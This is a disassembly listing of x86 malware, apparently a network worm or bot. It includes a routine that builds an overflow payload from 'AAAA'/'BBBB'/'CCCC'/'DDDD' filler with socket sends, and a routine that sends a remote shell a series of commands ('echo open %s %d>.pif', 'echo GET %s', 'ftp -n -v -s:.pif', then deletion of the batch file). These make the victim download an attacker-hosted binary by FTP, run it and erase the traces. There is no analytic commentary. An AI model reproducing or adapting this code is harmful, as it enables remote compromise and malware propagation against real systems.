sub_4246D0	proc near		; CODE XREF: sub_401B7Cj

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		sub	esp, 8
		push	ebx
		push	ebp
		mov	ebp, ecx
		mov	eax, [ebp+4]
		mov	ecx, [ebp+0]
		push	eax
		push	ecx
		push	1
		push	offset dword_448F44
		lea	ecx, [esp+20h+var_8]
		call	sub_4021F8
		lea	ecx, [esp+10h+var_8]
		call	sub_4010A0
		mov	edx, [esp+10h+var_4]
		inc	edx
		push	edx
		call	near ptr 77C2C407h
		nop
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jnz	short loc_424715
		pop	ebp
		xor	al, al
		pop	ebx
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_424715:				; CODE XREF: sub_4246D0+3Bj
		mov	eax, [esp+10h+var_4]
		push	esi
		push	edi
		mov	edi, ebx
		lea	ecx, [eax+1]
		xor	eax, eax
		mov	edx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		and	ecx, 3
		rep stosb
		mov	byte ptr [ebx],	3
		mov	ecx, [esp+18h+var_4]
		mov	esi, [esp+18h+var_8]
		mov	eax, ecx
		lea	edi, [ebx+1]
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	ecx, ebp
		call	sub_4016C2
		mov	ecx, [esp+18h+var_4]
		mov	[ebp+0], ebx
		inc	ecx
		mov	[ebp+4], ecx
		lea	ecx, [esp+18h+var_8]
		call	sub_4016C2
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 8
		retn
sub_4246D0	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4247B0	proc near		; CODE XREF: sub_4012C6j

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		sub	esp, 8
		push	esi
		mov	esi, ecx
		mov	ecx, [esp+0Ch+arg_0]
		push	eax
		mov	edx, [esi+4]
		mov	eax, [esi]
		push	ecx
		push	edx
		push	eax
		lea	ecx, [esp+1Ch+var_8]
		call	sub_4021F8
		mov	ecx, esi
		call	sub_4016C2
		mov	ecx, [esp+0Ch+var_8]
		mov	edx, [esp+0Ch+var_4]
		mov	[esi], ecx
		mov	[esi+4], edx
		mov	al, 1
		pop	esi
		add	esp, 8
		retn	8
sub_4247B0	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_424800	proc near		; CODE XREF: sub_402054j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	edx, ecx
		push	edi
		mov	edi, esi
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		push	esi
		mov	ecx, edx
		call	sub_4012C6
		pop	edi
		pop	esi
		retn	4
sub_424800	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_424840	proc near		; CODE XREF: sub_401505j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	edx, [esp+arg_0]
		push	eax
		push	edx
		call	sub_4012C6
		retn	8
sub_424840	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_424870	proc near		; CODE XREF: sub_4017D5j

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		sub	esp, 8
		push	esi
		mov	esi, ecx
		call	sub_4010A0
		test	al, al
		jnz	short loc_424884
		pop	esi
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_424884:				; CODE XREF: sub_424870+Dj
		mov	eax, [esi+4]
		mov	ecx, [esi]
		push	eax
		push	ecx
		push	1
		push	offset dword_445C1C
		lea	ecx, [esp+1Ch+var_8]
		call	sub_4021F8
		mov	ecx, esi
		call	sub_4016C2
		mov	edx, [esp+0Ch+var_8]
		mov	eax, [esp+0Ch+var_4]
		mov	[esi], edx
		mov	[esi+4], eax
		mov	al, 1
		pop	esi
		add	esp, 8
		retn
sub_424870	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4248E0	proc near		; CODE XREF: sub_401EC9j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	esi
		mov	esi, ecx
		push	eax
		mov	ecx, [esp+8+arg_0]
		push	ecx
		mov	ecx, esi
		call	sub_401505
		test	al, al
		jnz	short loc_4248FC
		pop	esi
		retn	8
; ---------------------------------------------------------------------------


loc_4248FC:				; CODE XREF: sub_4248E0+16j
		mov	ecx, esi
		call	sub_4017D5
		pop	esi
		retn	8
sub_4248E0	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_424920	proc near		; CODE XREF: sub_401BFEj

var_858		= dword	ptr -858h
var_854		= dword	ptr -854h
var_850		= dword	ptr -850h
var_84C		= dword	ptr -84Ch
var_848		= dword	ptr -848h
var_844		= dword	ptr -844h
var_840		= dword	ptr -840h
var_83C		= dword	ptr -83Ch
var_838		= dword	ptr -838h
var_834		= dword	ptr -834h
var_830		= dword	ptr -830h
var_82C		= dword	ptr -82Ch
var_828		= dword	ptr -828h
var_824		= dword	ptr -824h
var_820		= dword	ptr -820h
var_81C		= dword	ptr -81Ch
var_818		= dword	ptr -818h
var_814		= dword	ptr -814h
var_810		= dword	ptr -810h
var_80C		= dword	ptr -80Ch
var_808		= dword	ptr -808h
var_804		= dword	ptr -804h
var_800		= byte ptr -800h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h
arg_10		= dword	ptr  14h

		sub	esp, 858h
		lea	ecx, [esp+858h+var_818]
		push	ebx
		push	esi
		call	sub_4012A8
		mov	esi, [esp+860h+arg_8]
		cmp	esi, 408h
		jg	loc_424CF5
		mov	ebx, [esp+860h+arg_10]
		lea	eax, [ebx+8]
		cmp	eax, 408h
		ja	loc_424CF5
		push	edi
		lea	ecx, [esp+864h+var_830]
		call	sub_4012A8
		lea	ecx, [esp+864h+var_840]
		call	sub_4012A8
		lea	ecx, [esp+864h+var_810]
		call	sub_4012A8
		lea	ecx, [esp+864h+var_848]
		call	sub_4012A8
		lea	ecx, [esp+864h+var_820]
		call	sub_4012A8
		lea	ecx, [esp+864h+var_828]
		call	sub_4012A8
		lea	ecx, [esp+864h+var_838]
		call	sub_4012A8
		push	4
		push	offset dword_4458B8
		lea	ecx, [esp+86Ch+var_830]
		call	sub_4012C6
		push	3
		push	offset dword_4458C0
		lea	ecx, [esp+86Ch+var_830]
		call	sub_4012C6
		lea	ecx, [esp+864h+var_830]
		call	sub_401B7C
		lea	ecx, [esp+864h+var_830]
		call	sub_4017D5
		mov	ecx, 200h
		mov	eax, 42424242h
		lea	edi, [esp+864h+var_800]
		push	8
		rep stosd
		push	offset aRbrbrbrb ; "BBBB"
		lea	ecx, [esp+86Ch+var_840]
		call	sub_4012C6
		mov	ecx, [esp+864h+arg_C]
		push	ebx
		push	ecx
		lea	ecx, [esp+86Ch+var_840]
		call	sub_4012C6
		mov	ebx, [esp+864h+var_83C]
		mov	edx, 409h
		sub	edx, ebx
		lea	eax, [esp+864h+var_800]
		push	edx
		push	eax
		lea	ecx, [esp+86Ch+var_840]
		call	sub_4012C6
		lea	ecx, [esp+864h+var_840]
		call	sub_401B7C
		push	offset loc_445C40
		lea	ecx, [esp+868h+var_810]
		call	sub_402054
		lea	ecx, [esp+864h+var_810]
		call	sub_401B7C
		mov	ecx, 200h
		mov	eax, 44444444h
		lea	edi, [esp+864h+var_800]
		push	410h
		rep stosd
		lea	ecx, [esp+868h+var_800]
		push	ecx
		lea	ecx, [esp+86Ch+var_808]
		call	sub_401843
		lea	ecx, [esp+864h+var_808]
		call	sub_401B7C
		mov	edx, [esp+864h+var_804]
		mov	eax, [esp+864h+var_808]
		push	edx
		push	eax
		lea	ecx, [esp+86Ch+var_810]
		call	sub_401EC9
		lea	ecx, [esp+864h+var_808]
		call	sub_4016C2
		mov	ecx, 200h
		mov	eax, 43434343h
		lea	edi, [esp+864h+var_800]
		push	offset aCccc	; "CCCC"
		rep stosd
		lea	ecx, [esp+868h+var_848]
		call	sub_402054
		push	4
		push	offset dword_4458C4
		lea	ecx, [esp+86Ch+var_848]
		call	sub_4012C6
		mov	ecx, [esp+864h+arg_4]
		push	esi
		push	ecx
		lea	ecx, [esp+86Ch+var_848]
		call	sub_4012C6
		mov	edx, 408h
		lea	eax, [esp+864h+var_800]
		sub	edx, esi
		lea	ecx, [esp+864h+var_848]
		push	edx
		push	eax
		call	sub_4012C6
		lea	ecx, [esp+864h+var_848]
		call	sub_401B7C
		mov	ecx, [esp+864h+var_844]
		mov	edx, [esp+864h+var_848]
		push	ecx
		push	edx
		lea	ecx, [esp+86Ch+var_820]
		call	sub_401505
		mov	eax, [esp+864h+var_80C]
		mov	ecx, [esp+864h+var_810]
		push	eax
		push	ecx
		lea	ecx, [esp+86Ch+var_820]
		call	sub_401505
		lea	ecx, [esp+864h+var_820]
		call	sub_4017D5
		lea	ecx, [esp+864h+var_848]
		call	sub_4016C2
		lea	ecx, [esp+864h+var_810]
		call	sub_4016C2
		mov	edx, [esp+864h+var_83C]
		mov	eax, [esp+864h+var_840]
		push	edx
		push	eax
		lea	ecx, [esp+86Ch+var_828]
		call	sub_401505
		mov	ecx, [esp+864h+var_82C]
		mov	edx, [esp+864h+var_830]
		push	ecx
		push	edx
		lea	ecx, [esp+86Ch+var_828]
		call	sub_401505
		mov	eax, [esp+864h+var_81C]
		mov	ecx, [esp+864h+var_820]
		push	eax
		push	ecx
		lea	ecx, [esp+86Ch+var_828]
		call	sub_401505
		lea	ecx, [esp+864h+var_828]
		call	sub_4017D5
		lea	ecx, [esp+864h+var_840]
		call	sub_4016C2
		lea	ecx, [esp+864h+var_830]
		call	sub_4016C2
		lea	ecx, [esp+864h+var_820]
		call	sub_4016C2
		mov	ecx, 200h
		mov	eax, 41414141h
		lea	edi, [esp+864h+var_800]
		lea	edx, [esp+864h+var_800]
		rep stosd
		push	400h
		push	edx
		lea	ecx, [esp+86Ch+var_838]
		call	sub_4012C6
		lea	ecx, [esp+864h+var_838]
		call	sub_401B7C
		push	2
		push	offset dword_445C34
		lea	ecx, [esp+86Ch+var_838]
		call	sub_4012C6
		mov	eax, [esp+864h+var_824]
		mov	ecx, [esp+864h+var_828]
		push	eax
		push	ecx
		lea	ecx, [esp+86Ch+var_838]
		call	sub_401505
		lea	ecx, [esp+864h+var_838]
		call	sub_4017D5
		lea	ecx, [esp+864h+var_828]
		call	sub_4016C2
		lea	ecx, [esp+864h+var_850]
		call	sub_4012A8
		lea	ecx, [esp+864h+var_858]
		call	sub_4012A8
		mov	edx, [esp+864h+var_834]
		mov	eax, [esp+864h+var_838]
		push	edx
		push	eax
		lea	ecx, [esp+86Ch+var_850]
		call	sub_401505
		lea	ecx, [esp+864h+var_850]
		call	sub_4010A0
		lea	ecx, [esp+864h+var_838]
		call	sub_4016C2
		push	offset dword_445C30
		lea	ecx, [esp+868h+var_858]
		call	sub_402054
		mov	ecx, [esp+864h+var_84C]
		mov	edx, [esp+864h+var_850]
		push	ecx
		push	edx
		lea	ecx, [esp+86Ch+var_858]
		call	sub_401505
		lea	ecx, [esp+864h+var_858]
		call	sub_4010A0
		lea	ecx, [esp+864h+var_850]
		call	sub_4016C2
		push	offset dword_444E78
		lea	ecx, [esp+868h+var_850]
		call	sub_402054
		mov	eax, [esp+864h+var_854]
		mov	ecx, [esp+864h+var_858]
		push	eax
		push	ecx
		lea	ecx, [esp+86Ch+var_850]
		call	sub_401505
		lea	ecx, [esp+864h+var_850]
		call	sub_4010A0
		lea	ecx, [esp+864h+var_858]
		call	sub_4016C2
		push	offset dword_445C24
		lea	ecx, [esp+868h+var_858]
		call	sub_402054
		mov	edx, [esp+864h+var_84C]
		mov	eax, [esp+864h+var_850]
		push	edx
		push	eax
		lea	ecx, [esp+86Ch+var_858]
		call	sub_401505
		lea	ecx, [esp+864h+var_858]
		call	sub_4010A0
		lea	ecx, [esp+864h+var_850]
		call	sub_4016C2
		push	offset dword_445C20
		lea	ecx, [esp+868h+var_818]
		call	sub_402054
		mov	ecx, [esp+864h+var_854]
		mov	edx, [esp+864h+var_858]
		push	ecx
		push	edx
		lea	ecx, [esp+86Ch+var_818]
		call	sub_401505
		lea	ecx, [esp+864h+var_858]
		call	sub_4016C2
		mov	eax, [esp+864h+arg_0]
		mov	ecx, [esp+864h+var_818]
		mov	edx, [esp+864h+var_814]
		pop	edi
		mov	[eax], ecx
		pop	esi
		mov	[eax+4], edx
		pop	ebx
		add	esp, 858h
		retn
; ---------------------------------------------------------------------------


loc_424CF5:				; CODE XREF: sub_424920+1Ej
					; sub_424920+33j
		mov	eax, [esp+860h+arg_0]
		mov	ecx, [esp+860h+var_818]
		mov	edx, [esp+860h+var_814]
		pop	esi
		mov	[eax], ecx
		mov	[eax+4], edx
		pop	ebx
		add	esp, 858h
		retn
sub_424920	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 100h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_424E20	proc near		; CODE XREF: sub_401AC8j

var_210		= dword	ptr -210h
var_20C		= dword	ptr -20Ch
var_208		= dword	ptr -208h
var_204		= dword	ptr -204h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
arg_0		= dword	ptr  4

		sub	esp, 210h
		push	esi
		mov	esi, [esp+214h+arg_0]
		lea	eax, [esp+214h+var_210]
		lea	ecx, [esp+214h+var_104]
		push	eax
		push	ecx
		lea	edx, [esp+21Ch+var_208]
		push	0
		lea	eax, [esi+1]
		push	edx
		push	eax
		mov	[esp+228h+var_204], esi
		mov	[esp+228h+var_208], 1
		mov	[esp+228h+var_100], esi
		mov	[esp+228h+var_104], 1
		mov	[esp+228h+var_210], 0Ah
		mov	[esp+228h+var_20C], 0
		call	near ptr 71AB2DC0h
		nop
		cmp	eax, 1
		jz	short loc_424E89
		xor	eax, eax
		pop	esi
		add	esp, 210h
		retn
; ---------------------------------------------------------------------------


loc_424E89:				; CODE XREF: sub_424E20+5Dj
		lea	ecx, [esp+214h+var_208]
		push	ecx
		push	esi
		call	sub_438256
sub_424E20	endp

; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_424EA0
		pop	esi
		add	esp, 210h
		retn
; ---------------------------------------------------------------------------


loc_424EA0:				; CODE XREF: ___:00424E96j
		mov	edx, [esp+224h]
		mov	eax, [esp+220h]
		mov	ecx, [esp+21Ch]
		push	edx
		push	eax
		push	ecx
		push	esi
		nop
		call	near ptr 71AB615Ah
		pop	esi
		add	esp, 210h
		retn
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_424F00	proc near		; CODE XREF: sub_4012F3j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_8]
		push	edi
		push	esi
		nop
		call	near ptr 71AB2BC0h
		mov	edi, [esp+0Ch+arg_0]
		mov	ebx, dword_511CA0
		mov	[esp+0Ch+arg_8], eax
		push	0
		lea	eax, [esp+10h+arg_8]
		push	4
		push	eax
		push	edi
		call	ebx	; send
		cmp	eax, 4
		jz	short loc_424F33
		pop	edi
		pop	esi
		xor	al, al
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_424F33:				; CODE XREF: sub_424F00+2Bj
		mov	ecx, [esp+0Ch+arg_4]
		push	0
		push	esi
		push	ecx
		push	edi
		call	ebx	; send
		xor	edx, edx
		cmp	eax, esi
		setz	dl
		pop	edi
		pop	esi
		mov	al, dl
		pop	ebx
		retn
sub_424F00	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_424F70	proc near		; CODE XREF: sub_4012F8j

var_104		= dword	ptr -104h
var_100		= byte ptr -100h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		sub	esp, 104h
		push	ebx
		push	ebp
		mov	ebp, [esp+10Ch+arg_8]
		push	esi
		lea	esi, [ebp+41h]
		push	esi
		mov	[esp+114h+var_104], esi
		nop
		call	near ptr 77C2C407h
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jnz	short loc_424FA3
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		add	esp, 104h
		retn
; ---------------------------------------------------------------------------


loc_424FA3:				; CODE XREF: sub_424F70+25j
		mov	ecx, esi
		push	edi
		mov	edx, ecx
		xor	eax, eax
		mov	edi, ebx
		mov	esi, offset dword_445954
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		push	85h
		and	ecx, 3
		push	offset dword_4458CC
		rep stosb
		mov	ecx, 0Bh
		mov	edi, ebx
		rep movsd
		movsw
		movsb
		mov	[ebx+2Fh], bp
		mov	eax, dword_445984
		mov	[ebx+31h], eax
		mov	ecx, dword_445988
		mov	esi, [esp+11Ch+arg_4]
		mov	[ebx+35h], ecx
		mov	ecx, ebp
		lea	eax, [ebx+3Bh]
		mov	edx, ecx
		mov	edi, eax
		shr	ecx, 2
		mov	[ebx+39h], bp
		add	eax, ebp
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	ecx, dword_510110
		mov	esi, [esp+11Ch+arg_0]
		mov	[eax], ecx
		mov	dx, word_510114
		push	esi
		mov	[eax+4], dx
		call	sub_4012F3
		add	esp, 0Ch
		test	al, al
		pop	edi
		jnz	short loc_425048
		push	ebx
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4
		xor	al, al
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 104h
		retn
; ---------------------------------------------------------------------------


loc_425048:				; CODE XREF: sub_424F70+C0j
		push	0
		lea	eax, [esp+114h+var_100]
		push	100h
		push	eax
		push	esi
		call	sub_401AC8
		mov	ecx, [esp+120h+var_104]
		push	ecx
		push	ebx
		push	esi
		call	sub_4012F3
		add	esp, 1Ch
		test	al, al
		jnz	short loc_425083
		push	ebx
		call	near ptr 77C2C21Bh
		nop
		add	esp, 4
		xor	al, al
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 104h
		retn
; ---------------------------------------------------------------------------


loc_425083:				; CODE XREF: sub_424F70+FBj
		push	0
		lea	edx, [esp+114h+var_100]
		push	100h
		push	edx
		push	esi
		call	sub_401AC8
		push	ebx
		call	near ptr 77C2C21Bh
		nop
		add	esp, 14h
		mov	al, 1
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 104h
		retn
sub_424F70	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_425100	proc near		; CODE XREF: sub_401820j

var_420		= dword	ptr -420h
var_41C		= dword	ptr -41Ch
var_418		= word ptr -418h
var_416		= dword	ptr -416h
var_412		= dword	ptr -412h
var_40E		= dword	ptr -40Eh
var_40A		= word ptr -40Ah
var_408		= dword	ptr -408h
var_400		= byte ptr -400h
var_3FF		= byte ptr -3FFh
var_371		= byte ptr -371h
arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_9E		= dword	ptr  0A2h

		sub	esp, 420h
		push	ebp
		push	esi
		push	edi
		mov	ecx, 0FFh
		xor	eax, eax
		lea	edi, [esp+42Ch+var_3FF]
		rep stosd
		stosw
		stosb
		mov	ecx, 23h
		mov	esi, offset sub_445AF8
		lea	edi, [esp+42Ch+var_400]
		rep movsd
		movsw
		mov	ecx, offset byte_449521
		movsb
		call	sub_4017EE
		push	eax
		mov	ecx, offset byte_449521
		call	sub_4017EE
		mov	ecx, [esp+430h+arg_0]
		push	eax
		mov	eax, dword_44965F
		push	eax
		push	ecx
		call	sub_401E10
		add	esp, 4
		lea	edx, [esp+438h+var_371]
		push	eax
		push	offset aCmdCEchoOpenSD ; "cmd /c echo open %s %d >> ii &echo user"...
		push	400h
		push	edx
		nop
		call	near ptr 77C3FA76h
		add	eax, 90h
		lea	ecx, [esp+448h+var_408]
		push	eax
		lea	eax, [esp+44Ch+var_400]
		push	eax
		push	164h
		push	offset sub_445990
		push	ecx
		call	sub_401BFE
		mov	edx, [eax]
		xor	edi, edi
		mov	[esp+45Ch+var_420], edx
		add	esp, 30h
		mov	eax, [eax+4]
		cmp	eax, edi
		mov	[esp+42Ch+var_41C], eax
		jnz	short loc_4251B2
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebp
		add	esp, 420h
		retn
; ---------------------------------------------------------------------------


loc_4251B2:				; CODE XREF: sub_425100+A4j
		mov	ebp, dword_511C38
		mov	[esp+42Ch+var_408], edi


loc_4251BC:				; CODE XREF: sub_425100+161j
		test	edi, edi
		jnz	loc_425267
		push	6
		push	1
		push	2
		call	near ptr 71AB3B91h
		nop
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_42524A
		mov	ecx, [esp+42Ch+arg_9E]
		xor	eax, eax
		mov	[esp+42Ch+var_416], eax
		push	ecx
		mov	[esp+430h+var_412], eax
		mov	[esp+430h+var_418], 2
		mov	[esp+430h+var_40E], eax
		mov	[esp+430h+var_40A], ax
		call	ebp	; ntohs
		lea	edx, [esp+42Ch+arg_4]
		mov	word ptr [esp+42Ch+var_416], ax
		push	edx
		nop
		call	near ptr 71AB2BF4h
		mov	[esp+42Ch+var_416+2], eax
		lea	eax, [esp+42Ch+var_418]
		push	10h
		push	eax
		push	esi
		nop
		call	near ptr 71AB406Ah
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42523F
		mov	ecx, [esp+42Ch+var_41C]
		mov	edx, [esp+42Ch+var_420]
		push	ecx
		push	edx
		push	esi
		call	sub_4012F8
		add	esp, 0Ch
		and	eax, 0FFh
		mov	edi, eax


loc_42523F:				; CODE XREF: sub_425100+123j
		push	esi
		nop
		call	near ptr 71AB9639h
		test	edi, edi
		jnz	short loc_425255


loc_42524A:				; CODE XREF: sub_425100+D5j
		push	3E8h
		nop
		call	near ptr 2840000h


loc_425255:				; CODE XREF: sub_425100+148j
		mov	eax, [esp+42Ch+var_408]
		inc	eax
		cmp	eax, 2
		mov	[esp+42Ch+var_408], eax
		jl	loc_4251BC


loc_425267:				; CODE XREF: sub_425100+BEj
		lea	ecx, [esp+42Ch+var_420]
		call	sub_4016C2
		test	edi, edi
		jz	short loc_425297
		sub	esp, 0BCh
		mov	ecx, 2Eh
		lea	esi, [esp+4E8h+arg_0]
		mov	edi, esp
		rep movsd
		movsw
		call	sub_40114F
		add	esp, 0BCh


loc_425297:				; CODE XREF: sub_425100+172j
		pop	edi
		pop	esi
		mov	eax, 1
		pop	ebp
		add	esp, 420h
		retn
sub_425100	endp

; ---------------------------------------------------------------------------
aRrrrrrrrrr	db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌé',1Bh,0
		align 4
		dd 90909000h, 2	dup(90909090h),	4 dup(0CCCCCCCCh), 0BB8068h
		dd 2EE06800h, 77E80000h, 83FFFDCEh, 18A308C4h, 0C3005101h
		dd 2 dup(90909090h), 4 dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================



sub_425370	proc near		; CODE XREF: sub_4013D4j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	edi
		push	0C8h
		call	near ptr 2840000h
		nop
		mov	edx, [esp+4+arg_4]
		or	ecx, 0FFFFFFFFh
		mov	edi, edx
		xor	eax, eax
		repne scasb
		mov	eax, [esp+4+arg_0]
		push	0
		not	ecx
		dec	ecx
		push	ecx
		push	edx
		push	eax
		call	near ptr 71AB428Ah
		nop
		cmp	eax, 0FFFFFFFFh
		pop	edi
		setnz	al
		retn
sub_425370	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4253C0	proc near		; CODE XREF: sub_4013BBj

var_434		= byte ptr -434h
var_41C		= dword	ptr -41Ch
var_418		= dword	ptr -418h
var_414		= dword	ptr -414h
var_410		= dword	ptr -410h
var_40C		= byte ptr -40Ch
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	0FFFFFFFFh
		push	offset SEH_4253C0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 428h
		xor	eax, eax
		push	ebx
		mov	[esp+438h+var_41C], eax
		push	esi
		mov	[esp+43Ch+var_418], eax
		lea	ecx, [esp+43Ch+arg_4]
		push	edi
		mov	[esp+440h+var_414], eax
		push	ecx
		mov	[esp+444h+var_410], eax
		mov	word ptr [esp+444h+var_41C], 2
		call	near ptr 71AB2BF4h
		nop
		mov	dx, word_510118
		mov	[esp+440h+var_418], eax
		push	edx
		nop
		call	near ptr 71AB2B66h
		push	0
		push	1
		push	2
		mov	word ptr [esp+44Ch+var_41C+2], ax
		nop
		call	near ptr 71AB3B91h
		mov	esi, eax
		or	ebx, 0FFFFFFFFh
		cmp	esi, ebx
		jz	loc_4256BE
		lea	eax, [esp+440h+var_41C]
		push	10h
		push	eax
		push	esi
		call	near ptr 71AB406Ah
		nop
		cmp	eax, ebx
		jz	loc_4256BE
		mov	edi, dword_511CA4
		push	0
		lea	ecx, [esp+444h+var_40C]
		push	400h
		push	ecx
		push	esi
		call	edi	; recv
		lea	ecx, [esp+440h+var_434]
		call	sub_40142E
		mov	edx, dword_44965F
		mov	eax, [esp+440h+arg_0]
		push	edx
		push	eax
		mov	[esp+448h+var_4], 0
		call	sub_401E10
		add	esp, 4
		lea	ecx, [esp+444h+var_434]
		push	eax
		push	offset aEchoOpenSD_pif ; "echo open %s %d>.pif \r\n"
		push	ecx
		call	sub_40102D
		add	esp, 10h
		lea	ecx, [esp+440h+var_434]
		call	sub_4014DD
		push	eax
		push	esi
		call	sub_4013D4
		add	esp, 8
		test	al, al
		jz	loc_4256AE
		lea	edx, [esp+440h+var_434]
		push	offset aEchoUserAA_pif ; "echo user a a>>.pif \r\n"
		push	edx
		call	sub_40102D
		add	esp, 8
		lea	ecx, [esp+440h+var_434]
		call	sub_4014DD
		push	eax
		push	esi
		call	sub_4013D4
		add	esp, 8
		test	al, al
		jz	loc_4256AE
		lea	eax, [esp+440h+var_434]
		push	offset aEchoBinary_pif ; "echo binary>>.pif \r\n"
		push	eax
		call	sub_40102D
		add	esp, 8
		lea	ecx, [esp+440h+var_434]
		call	sub_4014DD
		push	eax
		push	esi
		call	sub_4013D4
		add	esp, 8
		test	al, al
		jz	loc_4256AE
		mov	ecx, offset byte_449521
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+444h+var_434]
		push	offset aEchoGetS_pif ; "echo GET %s>>.pif \r\n"
		push	ecx
		call	sub_40102D
		add	esp, 0Ch
		lea	ecx, [esp+440h+var_434]
		call	sub_4014DD
		push	eax
		push	esi
		call	sub_4013D4
		add	esp, 8
		test	al, al
		jz	loc_4256AE
		lea	edx, [esp+440h+var_434]
		push	offset aEchoBye_pif ; "echo bye>>.pif \r\n"
		push	edx
		call	sub_40102D
		add	esp, 8
		lea	ecx, [esp+440h+var_434]
		call	sub_4014DD
		push	eax
		push	esi
		call	sub_4013D4
		add	esp, 8
		test	al, al
		jz	loc_4256AE
		lea	eax, [esp+440h+var_434]
		push	offset aEcho@echoOffC_ ; "echo @echo off >c.bat\r\n"
		push	eax
		call	sub_40102D
		add	esp, 8
		lea	ecx, [esp+440h+var_434]
		call	sub_4014DD
		push	eax
		push	esi
		call	sub_4013D4
		add	esp, 8
		test	al, al
		jz	loc_4256AE
		lea	ecx, [esp+440h+var_434]
		push	offset aEchoFtpNVS_pif ; "echo ftp -n -v -s:.pif >>c.bat\r\n"
		push	ecx
		call	sub_40102D
		add	esp, 8
		lea	ecx, [esp+440h+var_434]
		call	sub_4014DD
		push	eax
		push	esi
		call	sub_4013D4
		add	esp, 8
		test	al, al
		jz	loc_4256AE
		mov	ecx, offset byte_449521
		call	sub_4017EE
		push	eax
		lea	edx, [esp+444h+var_434]
		push	offset aEchoSC_bat ; "echo %s >>c.bat\r\n"
		push	edx
		call	sub_40102D
		add	esp, 0Ch
		lea	ecx, [esp+440h+var_434]
		call	sub_4014DD
		push	eax
		push	esi
		call	sub_4013D4
		add	esp, 8
		test	al, al
		jz	loc_4256AE
		lea	eax, [esp+440h+var_434]
		push	offset aEchoDel_pifC_b ; "echo del .pif	>>c.bat\r\n"
		push	eax
		call	sub_40102D
		add	esp, 8
		lea	ecx, [esp+440h+var_434]
		call	sub_4014DD
		push	eax
		push	esi
		call	sub_4013D4
		add	esp, 8
		test	al, al
		jz	short loc_4256AE
		lea	ecx, [esp+440h+var_434]
		push	offset aEchoDelFC_batC ; "echo del /F c.bat >>c.bat\r\n"
		push	ecx
		call	sub_40102D
		add	esp, 8
		lea	ecx, [esp+440h+var_434]
		call	sub_4014DD
		push	eax
		push	esi
		call	sub_4013D4
		add	esp, 8
